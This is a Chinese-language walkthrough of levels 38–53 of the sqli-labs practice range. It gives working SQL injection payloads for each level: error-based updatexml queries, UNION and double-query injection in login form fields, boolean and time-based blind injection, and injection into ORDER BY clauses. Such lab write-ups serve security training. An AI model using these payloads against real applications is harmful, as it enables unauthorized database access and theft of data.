【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections

sqli-labs-master 38-53 Stacked-Injections

其他关卡和靶场看专栏...

文章目录

第三十八关-报错注入

复制代码
?id=1'
?id=1' and '1'='1

通过上述语句可以判断这是单引号闭合,根据报错信息可以试一下报错注入:

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

第三十九关-报错注入

复制代码
?id=2-1

通过上述语句回显1的信息可以初步判断这是数字型注入,根据报错信息可以尝试报错注入

复制代码
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

第四十关-盲注

复制代码
?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' and length(database())=8 and '1'='1

对于第一个语句页面没有回显错误信息,所以假设为单引号闭合试一下第二个和第三个发现页面仅仅有显示和不显示,所以使用盲注

第四十一关-盲注

复制代码
?id=2-1
?id=2 and 1=1

第一段语句回显1的信息,第二段回显2的信息,得知这是字符型注入,没有报错信息,所以试一下盲注:

复制代码
?id=1 and length(database())=8

第四十二关-联合报错双查询注入

对账号密码分别进行单引号探针发现,仅仅password部分有报错,根据报错信息得知这是单引号闭合,尝试union注入:

复制代码
login_user=1&login_password=1' order by 3#&mysubmit=Login
login_user=1&login_password=1' order by 4#&mysubmit=Login
复制代码
login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login
复制代码
login_user=1&login_password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#&mysubmit=Login

同样也可以进行双查询注入:

复制代码
login_user=1&login_password=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&mysubmit=Login

也可以直接updatexml报错注入:

复制代码
login_user=1&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

第四十三关-报错注入

对账号密码进行引号探针发现仅仅password部分显示报错信息,根据报错信息可以知道这是单引号加上括号闭合:

尝试报错注入,报错内容正常回显:

复制代码
login_user=1&login_password=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login

第四十四关-盲注

复制代码
login_user=1&login_password=1' or '1'='1&mysubmit=Login

在对账号和密码添加引号时候发现没有任何报错,所以有可能print_r(mysqli_error())被注释了。尝试or,发现成功登录:

所以判断这是单引号闭合,由于没有报错信息所以尝试Union注入。输入order by判断字段数时候,发现原来应有的报错信息变成了登录失败,order by 3以内为成功,4及以上为登录失败,所以union select 1,2,3判断回显位,发现没有回显位,所以只能进行盲注:

复制代码
login_user=1&login_password=1' or length(database())=8 -- #&mysubmit=Login

第四十五关-盲注

复制代码
login_user=1&login_password=1' or '1'='1&mysubmit=Login
login_user=1&login_password=1" or "1"="1&mysubmit=Login

通过上述语句并没有得到任何的报错信息,所以猜测存在括号:

复制代码
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

查看源代码发现确实存在括号,所以构造闭合,成功登录:

复制代码
login_user=1&login_password=1') or ('1'='1&mysubmit=Login

由于没有报错信息所以使用盲注:

复制代码
login_user=1&login_password=1') or length(database())=8 -- #&mysubmit=Login

第四十六关-报错注入

查看源代码发现order by关键字,这个关键字的作用就是针对第几列进行升序排序

复制代码
$sql = "SELECT * FROM users ORDER BY $id";

对参数值进行探针,发现order by后面是可以添加语句的,添加引号发现存在报错信息,所以尝试报错注入:

复制代码
?sort=3 and sleep(3)

?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

第四十七关-报错注入

添加引号之后回显报错信息,可知这是单引号闭合,并且可以尝试报错注入

复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

第四十八关-时间盲注

添加单引号之后发现没有返回排序信息,并且没有报错信息,所以猜测报错函数被注释了,故尝试盲注。使用2-1发现和1的效果是一样的,所以判断是数字型注入

复制代码
?sort=1 and if(length(database())=8,sleep(2),1)

这一道题使用不了布尔盲注,因为sort的值仅仅是order by的值而不是where条件值。

第四十九关-时间盲注

使用单引号探针没有回显报错信息,所以猜测报错函数被注释了,所以尝试:

复制代码
?sort=1' -- #

页面正常显示,所以判断这是单引号闭合,由于报错函数被注释所以使用盲注:

复制代码
?sort=1' and if(length(database())=8,sleep(1),1) -- #

第五十关-报错注入

单引号探针显示报错信息,所以判断这是数字型注入,且可以尝试报错注入:

复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

第五十一关-报错注入

好简单:

复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

第五十二关-时间盲注

引号探针没有回显任何信息,使用1' and '1'='1并没有正常显示,使用2-1回显1的信息,所以判断是数字型注入,由于没有报错信息,所以使用时间盲注:

复制代码
?sort=1 and if(length(database())=8,sleep(1),1)

第五十三关-时间盲注

服了,后面为什么这么简单...加上单引号没有东西显示,所以我们尝试闭合并使用时间盲注:

复制代码
?sort=1' and sleep(3) -- #

有延时,所以存在时间盲注。

总结

后面的真的好简单,没啥好总结的,做了这么多题发现这一部分没啥好看的。

相关推荐
CarIise24 分钟前
MySQL数据库表关系与多表查询:从表间关系设计到JOIN联表查询
数据库·mysql
网络工程小王39 分钟前
【LLM开发实验】FastAPI 学习笔记
数据库·笔记·学习·mysql·fastapi
TechWayfarer1 小时前
做IP归属地查询时总是查不准?IP纯净度检测实战:从“查归属地“到识别“脏IP“的四个维度
服务器·网络·python·tcp/ip·安全·web安全
Aime_Perfect1 小时前
sqlserver always on
服务器·数据库·sqlserver
摘星编程1 小时前
从“数据出库“到“模型入库“:DolphinDB 库内机器学习全流程实践
数据库
Sagittarius_A*1 小时前
【好靶场】SQL注入-时间盲注
数据库·sql
神明不懂浪漫2 小时前
【第二章】库、表、增删改查操作
开发语言·数据库·经验分享·笔记
其实防守也摸鱼2 小时前
OpenClaw 深度解析:从原理到实战的完整指南
运维·服务器·数据库·github·copilot
hzp6662 小时前
doris学习6:参数调优
数据库·doris·参数·数据库调优
盟道科技3 小时前
小程序电商订单超时自动取消的三种实现方案:定时扫描、Redis 过期监听、延迟消息对比与生产落地
数据库·redis·小程序